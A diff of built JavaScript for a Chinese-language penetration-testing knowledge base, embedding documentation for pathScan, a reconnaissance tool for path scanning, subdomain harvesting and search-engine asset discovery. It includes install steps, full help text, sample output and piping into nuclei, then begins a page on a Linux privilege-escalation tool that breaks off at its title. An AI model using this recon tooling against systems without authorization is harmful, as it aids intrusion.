15:28:54"})]})})]}),"\n",(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"pathscan",children:"pathScan"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/pathScan",children:"pathScan"})," \u662f\u4e00\u4e2a\u7528Go\u7f16\u5199\u7684\u8def\u5f84\u626b\u63cf\u5de5\u5177\uff0c\u5b83\u5141\u8bb8\u60a8\u5feb\u901f\u53ef\u9760\u7684\u626b\u63cfURL\u5730\u5740\u548c\u5b50\u57df\u540d\u4fe1\u606f\u6536\u96c6\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5730\u5740: ",(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/pathScan",children:"https://github.com/wjlin0/pathScan"})]}),"\n",(0,i.jsx)(e.h2,{id:"pathscan\u5b89\u88c5",children:"pathScan\u5b89\u88c5"}),"\n",(0,i.jsxs)(e.p,{children:["pathScan\u5728\u5b89\u88c5\u524d\u65e0\u9700\u4efb\u4f55\u73af\u5883\u53ea\u9700\u8981\u4e0b\u8f7d\u5df2\u6253\u5305\u597d\u7684",(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/pathScan/releases/",children:"\u4e8c\u8fdb\u5236\u6587\u4ef6"}),"\uff0c\u5e76\u6839\u636e\u64cd\u4f5c\u7cfb\u7edf\u9009\u51fa\u76f8\u5e94\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6"]}),"\n",(0,i.jsx)(e.p,{children:"\u4f8b\u5982\uff0c\u4f7f\u7528 wget\u3001curl\u5b89\u88c5"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"wget -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_windows_amd64.zip\ncurl -L -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_linux_amd64.zip\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6700\u540e\u9009\u62e9\u89e3\u538b\u5e76\u79fb\u690d\u5230\u73af\u5883\u53d8\u91cf\u4e2d\u7684\u76ee\u5f55\u4e2d"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"unzip pathScan.zip -d pathScan && chmod +x pathScan/pathScan && mv pathScan/pathScan /usr/local/bin/pathScan && rm -rf pathScan\npathScan -v\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u7136\u5982\u679c\u4f60\u627e\u4e0d\u5230\u4f60\u5bf9\u5e94\u7cfb\u7edf\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u90a3\u4e48\u4f60\u53ef\u4ee5\u9009\u62e9\u4ee5\u4e0b\u65b9\u5f0f"}),"\n",(0,i.jsxs)(e.p,{children:["go -> pathScan\u9700\u8981",(0,i.jsx)(e.strong,{children:"go1.21"}),"\u624d\u80fd\u5b89\u88c5\u6210\u529f"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"go install -v github.com/wjlin0/pathScan@latest\n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u4f7f\u7528",children:"\u4f7f\u7528"}),"\n",(0,i.jsx)(e.h3,{id:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6",children:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6"}),"\n",(0,i.jsxs)(e.p,{children:["pathScan\u7b2c\u4e00\u6b21\u8fd0\u884c\u4f1a\u521b\u5efa\u914d\u7f6e\u6587\u4ef6\u5230 ",(0,i.jsx)(e.code,{children:"$HOME/.config/pathScan/"})," \u4e2d"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527135.png-.png",alt:"image-20240331021527107"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u7136\u521d\u59cb\u5316\u65f6\u8fd9\u4e9b\u6587\u4ef6\u5e76\u4e0d\u5b58\u5728\u914d\u7f6e\uff0c\u5176\u4e2d"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"match-config"})," \u4e3a\u6307\u7eb9\u8bc6\u522b\u6587\u4ef6\u76ee\u5f55\uff0c\u8fd9\u4e2a\u6587\u4ef6\u53ef\u4ece\u7528\u547d\u4ee4 ",(0,i.jsx)(e.code,{children:"pathScan -um"})," \u4e0b\u8f7d\u6700\u65b0\u7684\u6307\u7eb9\u8bc6\u522b\u5e93"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527136.png-.png",alt:"image-20240331021947545"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"provider-config.yaml"})," \u4e3a\u7f51\u7edc\u7a7a\u95f4\u6d4b\u7ed8\u641c\u7d22\u5f15\u64ce\u7684API\u914d\u7f6e\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2akey\uff0c\u8fd0\u884c\u65f6\u968f\u673a\u9009\u62e9key"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527137.png-.png",alt:"image-20240331022018093"})}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"config.yaml"})," \u4e3a\u547d\u4ee4\u884c\u914d\u7f6e\uff0c\u5982\u679c\u4f60\u4e0d\u60f3\u8f93\u5165\u8fc7\u957f\u7684\u547d\u4ee4\uff0c\u5219\u53ef\u4ee5\u5c06\u53c2\u6570\u914d\u7f6e\u5728\u8be5\u6587\u4e2d\uff0c\u8fd0\u884c\u65f6\u4f1a\u81ea\u52a8\u8bfb\u53d6\u8be5\u6587\u4ef6\u5185\u5bb9"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527138.png-.png",alt:"image-20240331022052551"})}),"\n",(0,i.jsx)(e.h3,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"\u63a2\u5bfb\u4e00\u4e2a\u5b8c\u6574\u7684\u57fa\u672c\u8def\u5f84\uff0c\u5e76\u6392\u9664404\u54cd\u5e94"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"pathScan -u https://wjlin0.com -sc 404\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527139.png-.png",alt:"image-20240331022150281"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u9519\u8bef\u8fc7\u591a\u65f6\uff0c\u4f60\u53ef\u4ee5\u9009\u62e9\u6392\u9664\u4e00\u4e9b\u4e0d\u5fc5\u8981\u7684 \u6bd4\u5982\u6392\u9664\u957f\u5ea6 483\u7684"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"pathScan -u https://wjlin0.com -sc 404 -sbl 483\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527140.png-.png",alt:"image-20240331022403681"})}),"\n",(0,i.jsx)(e.h3,{id:"\u7f51\u7edc\u6d4b\u7ed8",children:"\u7f51\u7edc\u6d4b\u7ed8"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u4ece\u7f51\u7edc\u7a7a\u95f4\u4e2d\uff0c\u53d1\u73b0\u76ee\u6807"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"# \u9996\u5148\u5f97\u628akey\u914d\u7f6e\u5230 provider-config.yaml \u6587\u4ef6\u4e2d\npathScan -ue quake -uq 'domain: \"baidu.com\"' -uc -sc 404\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202307091219571.png-.png",alt:"image-20230709115619203"})}),"\n",(0,i.jsx)(e.h3,{id:"\u57df\u540d\u641c\u7d22",children:"\u57df\u540d\u641c\u7d22"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"pathScan \u5176\u4e2d\u5185\u7f6e\u4e86\u8bb8\u591a\u722c\u866b\u4ee5\u53ca\u7f51\u7edc\u7a7a\u95f4\u5982\u4e0b\uff0c\u9ed8\u8ba4\u9009\u62e9\u6240\u6709\u8fdb\u884c\u6536\u96c6\uff0c\u5e76\u8fdb\u884c\u6307\u7eb9\u63a2\u6d4b\u8fd9\u662f\u4e00\u4f53\u7684"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:"shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider"})}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"pathScan -s -sq wjlin0.com \n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-te",children:'\u279c ~ pathScan -s -sq wjlin0.com\n\n __ __ ____\n ___ ___ _ / /_ / / / __/____ ___ _ ___\n / _ \\/ _ // __// _ \\ _\\ \\ / __// _ // _ \\\n / .__/\\_,_/ \\__//_//_//___/ \\__/ \\_,_//_//_/\n/_/\n\n\t\t\twjlin0.com\n\n\u614e\u7528\u3002\u4f60\u8981\u4e3a\u81ea\u5df1\u7684\u884c\u4e3a\u8d1f\u8d23\n\u5f00\u53d1\u8005\u4e0d\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\uff0c\u4e5f\u4e0d\u5bf9\u4efb\u4f55\u8bef\u7528\u6216\u635f\u574f\u8d1f\u8d23.\n[INF] Current pathScan version v2.0.5 (latest)\n[INF] Current pathScan-match version 1.1.2 (latest)\n[INF] PathScan-match templates loaded for current scan: 68\n[INF] Subdomain engine: ["shodan", "censys", "fofa", "quake", "hunter", "zoomeye", "netlas", "criminalip", "publicwww", "hunterhow", "binaryedge", "github", "fullhunt", "zone0", "shodan-idb", "anubis-spider", "sitedossier-spider", "fofa-spider", "bing-spider", "chinaz-spider", "google-spider", "ip138-spider", "qianxun-spider", "rapiddns-spider", "baidu-spider", "yahoo-spider", "zoomeye-spider"]\n[INF] Subdomain query: ["wjlin0.com"]\n[ERR] only ip/cidr are accepted\n[INF] Running check alive on input host\n[INF] Found 17 URL of alive hosts\n[INF] Total number of Requests: 510\nhttp://101.43.95.147:80/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttp://42.101.4.41:80/ [403] [554] [42.101.4.41] [waf-detect:apachegeneric] [403 Forbidden]\nhttps://101.43.95.147:443/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttps://101.43.95.147/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttp://172.67.183.17:8080/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]\nhttp://172.67.183.17:443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]\nhttp://172.67.183.17:8443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]\nhttp://172.67.183.17:80/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]\nhttp://101.43.95.147:80/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttp://42.101.4.41:80/ [403] [152] [42.101.4.41] [java-jsp:jsp,waf-detect:apachegeneric] [403 Forbidden]\nhttps://dns.wjlin0.com/ [404] [172.67.183.17] [waf-detect:cloudflare]\nhttps://book.wjlin0.com/ [404] [3082] [172.67.183.17] [waf-detect:cloudflare] [Page Not Found]\nhttps://101.43.95.147/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttps://101.43.95.147:443/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttps://cdusec.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]\nhttps://blog.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]\nhttps://wjlin0.com/ [200] [2288] [101.43.95.147]\n........\n........\n........\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u914d\u5408\u5176\u4ed6\u5de5\u5177",children:"\u914d\u5408\u5176\u4ed6\u5de5\u5177"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"pathScan \u652f\u6301\u6807\u51c6\u8f93\u5165\u8f93\u51fa\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u8f7b\u677e\u4ece\u5176\u4ed6\u7684\u5de5\u5177\u7684\u8f93\u51fa\u7ed3\u679c\u83b7\u53d6\u5230\uff0c\u518d\u4ece\u6807\u51c6\u8f93\u51fa\u4f20\u9012\u7ed9\u5176\u4ed6\u5de5\u5177\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"cat url.txt | pathScan -ps / -silent | nuclei\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527141.png-.png",alt:"image-20240331022535664"})}),"\n",(0,i.jsx)(e.h3,{id:"\u66f4\u591a\u7528\u6cd5",children:"\u66f4\u591a\u7528\u6cd5"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-text",children:'\u279c ~ pathScan -h\npathScan 2.0.5 Go \u626b\u63cf\u3001\u4fe1\u606f\u6536\u96c6\u5de5\u5177\n\nUsage:\n pathScan [flags]\n\nFlags:\n\u8f93\u5165:\n -u, -url string[] \u76ee\u6807(\u4ee5\u9017\u53f7\u5206\u5272)\n -list string[] \u4ece\u6587\u4ef6\u4e2d,\u8bfb\u53d6\u76ee\u6807\n\n\u626b\u63cf\u5b57\u5178:\n -ps, -path string[] \u8def\u5f84(\u4ee5\u9017\u53f7\u5206\u5272)\n -pl, -path-list string[] \u4ece\u6587\u4ef6\u4e2d,\u8bfb\u53d6\u8def\u5f84\n -ldd, -load-default-dict \u76ee\u6807\u8d85\u8fc7\u4e00\u4e2a\u65f6\uff0c\u662f\u5426\u52a0\u8f7d\u9ed8\u8ba4\u5b57\u5178\n -lad, -load-api-dict \u662f\u5426\u52a0\u8f7dapi\u5b57\u5178\n\n\u5b50\u57df\u540d\u6536\u96c6\u6a21\u5f0f:\n -s, -sub \u5b50\u57df\u540d\u6536\u96c6\n -sq, -sub-query string[] \u9700\u8981\u6536\u96c6\u7684\u57df\u540d (\u652f\u6301\u4ece\u6587\u4ef6\u4e2d\u5f55\u5165 -sq /tmp/sub-query.txt)\n -sl, -sub-limit int \u6bcf\u4e2a\u641c\u7d22\u5f15\u64ce\u8fd4\u56de\u7684\u81f3\u5c11\u4e0d\u8d85\u8fc7\u6570 (default 1000)\n -so, -sub-output string \u5b50\u57df\u540d\u641c\u7d22\u7ed3\u679c\u4fdd\u5b58 \u652f\u6301csv\u683c\u5f0f\u8f93\u51fa\n -se, -sub-engine string[] \u5b50\u57df\u540d\u641c\u7d22\u5f15\u64ce [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider] (default all)\n\n\u5f15\u64ce\u641c\u7d22\u6a21\u5f0f:\n -uc, -uncover \u542f\u7528\u6253\u5f00\u641c\u7d22\u5f15\u64ce\n -uq, -uncover-query string[] \u641c\u7d22\u67e5\u8be2\n -ue, -uncover-engine string[] \u652f\u6301\u7684\u5f15\u64ce [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0] (default fofa)\n -uf, -uncover-field string \u5f15\u64ce\u8fd4\u56de\u5b57\u6bb5 (ip,port,host) (default "host")\n -ul, -uncover-limit int \u53d1\u73b0\u8981\u8fd4\u56de\u7684\u7ed3\u679c (default 100)\n -uo, -uncover-output string \u641c\u7d22\u5f15\u64ce\u67e5\u8be2\u7ed3\u679c\u4fdd\u5b58 \u652f\u6301csv\u683c\u5f0f\u8f93\u51fa\n\n\u8df3\u8fc7:\n -su, -skip-url string[] \u8df3\u8fc7\u7684\u76ee\u6807(\u4ee5\u9017\u53f7\u5206\u5272,\u652f\u6301\u4ece\u6587\u4ef6\u8bfb\u53d6 -su /tmp/skip-url.txt)\n -sc, -skip-code string[] \u8df3\u8fc7\u72b6\u6001\u7801(\u4ee5\u9017\u53f7\u5206\u5272,\u652f\u6301\u4ece\u6587\u4ef6\u8bfb\u53d6 -sc /tmp/skip-code.txt, \u652f\u6301 5xx\u3001300-399 )\n -sh, -skip-hash string \u8df3\u8fc7\u6307\u5b9ahash\n -sbl, -skip-body-len string[] \u8df3\u8fc7body\u56fa\u5b9a\u957f\u5ea6(\u652f\u6301 100-200,\u5373\u957f\u5ea6\u4e3a100~200\u4e4b\u95f4\u7684\u5747\u8df3\u8fc7,\u652f\u6301 \u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6 -sbl /tmp/skip-body-len.txt)\n -sbr, -skip-body-regex string[] \u8df3\u8fc7body\u6b63\u5219\u5339\u914d(\u4ee5\u9017\u53f7\u5206\u5272,\u652f\u6301\u4ece\u6587\u4ef6\u8bfb\u53d6 -sbr /tmp/skip-regex.txt)\n\n\u8f93\u51fa:\n -o, -output string \u8f93\u51fa\u6587\u4ef6\u8def\u5f84\uff08\u53ef\u5ffd\u7565\uff09\n -csv csv\u683c\u5f0f\u8f93\u51fa\n -html html\u683c\u5f0f\u8f93\u51fa\n -silent \u7b80\u7565\u8f93\u51fa\n -nc, -no-color \u65e0\u989c\u8272\u8f93\u51fa\n -vb, -verbose \u8be6\u7ec6\u8f93\u51fa\u6a21\u5f0f\n -debug \u8c03\u8bd5\u8f93\u51fa\n\n\u5de5\u5177:\n -gh, -get-hash \u8ba1\u7b97hash\n -shm, -skip-hash-method string \u6307\u5b9ahash\u7684\u65b9\u6cd5\uff08sha256,md5,sha1\uff09 (default "sha256")\n\n\u6a21\u7248\u89c4\u5219:\n -validate \u9a8c\u8bc1\u6307\u7eb9\u6587\u4ef6\n -mf, -match-file string \u6307\u7eb9\u6587\u4ef6\u76ee\u5f55\u6216\u6587\u4ef6\n -dsm, -disable-scan-match \u7981\u7528\u6307\u7eb9\u8bc6\u522b\n\n\u914d\u7f6e:\n -no-stdin disable stdin processing\n -rs, -retries int \u91cd\u8bd5\n -p, -proxy string[] \u4ee3\u7406\n -resolvers string[] \u81ea\u5b9a\u4e49DNS\u5217\u8868( \u6587\u4ef6\u6216\u9017\u53f7\u9694\u5f00 )\n -nn, -not-new \u5141\u8bb8\u91cd\u5b9a\u5411\n -dac, -disable-alive-check \u8df3\u8fc7\u6d3b\u8dc3\u68c0\u67e5\n -sdl, -scan-domain-list string[] \u4ece\u54cd\u5e94\u4e2d\u4e2d\u53d1\u73b0\u5176\u4ed6\u57df\u540d\uff08\u9017\u53f7\u9694\u5f00\uff0c\u652f\u6301\u6587\u4ef6\u8bfb\u53d6 -sdl /tmp/otherDomain.txt\uff09\n -sd, -scan-domain \u4ece\u54cd\u5e94\u4e2d\u53d1\u73b0\u5176\u4ed6\u57df\u540d\n -v, -version \u8f93\u51fa\u7248\u672c\n\n\u8bf7\u6c42\u5934\u53c2\u6570:\n -m, -method string[] \u8bf7\u6c42\u65b9\u6cd5 [GET HEAD POST PUT PATCH DELETE CONNECT OPTIONS TRACE] (default ["GET"])\n -ua, -user-agent string[] User-Agent (\u652f\u6301\u4ece\u6587\u4ef6\u4e2d\u5f55\u5165 -ua /tmp/user-agent.txt)\n -c, -cookie string cookie\n -auth, -authorization string Auth\u8bf7\u6c42\u5934\n -header string[] \u81ea\u5b9a\u4e49\u8bf7\u6c42\u5934,\u4ee5\u9017\u53f7\u9694\u5f00 (\u652f\u6301\u4ece\u6587\u4ef6\u4e2d\u5f55\u5165 -header /tmp/header.txt)\n -b, -body string \u81ea\u5b9a\u4e49\u8bf7\u6c42\u4f53\n\n\u901f\u7387:\n -t, -thread int \u7ebf\u7a0b (default 50)\n -rl, -rate-limit int \u6bcf\u79d2\u5141\u8bb8\u7684HTTP\u8fde\u63a5\u6570 (default 150)\n -http-timeout int HTTP\u8bf7\u6c42\u8d85\u65f6\u65f6\u95f4 (default 15)\n\n\u66f4\u65b0:\n -update \u66f4\u65b0\u7248\u672c\n -um, -update-match \u66f4\u65b0\u6307\u7eb9\u8bc6\u522b\u5e93\n -duc, -disable-update-check \u8df3\u8fc7\u81ea\u52a8\u68c0\u67e5\u66f4\u65b0\n\n\nEXAMPLES:\n\n\u8fd0\u884c pathScan \u626b\u63cf\u8def\u5f84, \u6307\u5b9a\u5355\u4e2a\u76ee\u6807 \u8df3\u8fc7 4xx 5xx \u8f93\u51fa:\n $ pathScan -u https://example.com/ -sc 4xx,5xx\n\n\u8fd0\u884c pathScan \u641c\u7d22\u5f15\u64ce:\n $ pathScan -ue fofa -uq \'app="tomcat"\'\n\n\u8fd0\u884c pathScan \u6536\u96c6\u5b50\u57df\u540d \u6307\u5b9a\u8f93\u51fa:\n $ pathScan -sq example.com -csv -o out.csv\n\n\u8fd0\u884c pathScan \u6536\u96c6\u5b50\u57df\u540d \u5e76\u914d\u5408 nuclei \u8fdb\u884c\u81ea\u52a8\u5316\u6f0f\u6d1e\u626b\u63cf:\n $ pathScan -sq example.com -silent | nuclei\n\n\u5176\u4ed6\u6587\u6863\u53ef\u5728\u4ee5\u4e0b\u7f51\u5740\u83b7\u5f97: https://github.com/wjlin0/pathScan/\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(e.p,{children:["pathScan\u662f\u4e00\u6b3e\u9ad8\u6548\u7684\uff0c\u91c7\u7528go\u8bed\u8a00\u5f00\u53d1\uff0c\u5feb\u901f\u7684\u53d1\u73b0\u76ee\u6807\u4fe1\u606f\uff0c\u5e76\u6536\u96c6\u4fe1\u606f\uff0c\u8fd9\u5bf9\u6211\u4eec\u6e17\u900f\u6d4b\u8bd5\u6709\u5219\u5f88\u5927\u7684\u5e2e\u52a9.\u540c\u65f6pathScan\u4e5f\u6709\u8bb8\u591a\u529f\u80fd\u5c1a\u672a\u5b8c\u5584\uff0c\u6b22\u8fce\u5927\u5bb6\u63d0\u4ea4",(0,i.jsx)(e.code,{children:"pull requests"})]})]})}function o(n={}){const{wrapper:e}={...(0,a.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/2e8323b2.d4701402.js b/en/assets/js/2e8323b2.d4701402.js new file mode 100644 index 0000000..0bc72a9 --- /dev/null +++ b/en/assets/js/2e8323b2.d4701402.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2006],{3134:(e,n,t)=>{t.d(n,{A:()=>l});const l=t.p+"assets/files/SHA256SUMS-b4f8fc8d79a2604c91b2c3af4dbb2886.txt"},16161:(e,n,t)=>{t.d(n,{A:()=>l});const l=t.p+"assets/files/RootHawkX-v1.1.tar-e75d9bb5f1cca75c97164d201a80f572.gz"},28453:(e,n,t)=>{t.d(n,{R:()=>d,x:()=>x});var l=t(96540);const s={},i=l.createContext(s);function d(e){const n=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function x(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:d(e.components),l.createElement(i.Provider,{value:n},e.children)}},55021:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>r,contentTitle:()=>x,default:()=>a,frontMatter:()=>d,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/01.RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/01.RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Linux\u63d0\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"},"next":{"title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/"}}');var s=t(74848),i=t(28453);const d={},x="RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177",r={},c=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u5de5\u5177\u4fe1\u606f",id:"\u5de5\u5177\u4fe1\u606f",level:2},{value:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d",id:"\u672c\u5730\u5f52\u6863\u4e0b\u8f7d",level:2},{value:"\u6e90\u7801",id:"\u6e90\u7801",level:3},{value:"\u53ef\u6267\u884c\u6587\u4ef6",id:"\u53ef\u6267\u884c\u6587\u4ef6",level:3},{value:"\u4f7f\u7528\u65b9\u6cd5",id:"\u4f7f\u7528\u65b9\u6cd5",level:2},{value:"\u53c2\u6570\u8bf4\u660e",id:"\u53c2\u6570\u8bf4\u660e",level:2},{value:"\u96c6\u6210\u6a21\u5757",id:"\u96c6\u6210\u6a21\u5757",level:2},{value:"\u793a\u4f8b\u547d\u4ee4",id:"\u793a\u4f8b\u547d\u4ee4",level:2},{value:"\u4f7f\u7528\u6ce8\u610f",id:"\u4f7f\u7528\u6ce8\u610f",level:2},{value:"\u53c2\u8003\u94fe\u63a5",id:"\u53c2\u8003\u94fe\u63a5",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"roothawkx-linux\u672c\u5730\u63d0\u6743\u5de5\u5177",children:"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,s.jsx)(n.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,s.jsxs)(n.p,{children:["RootHawkX 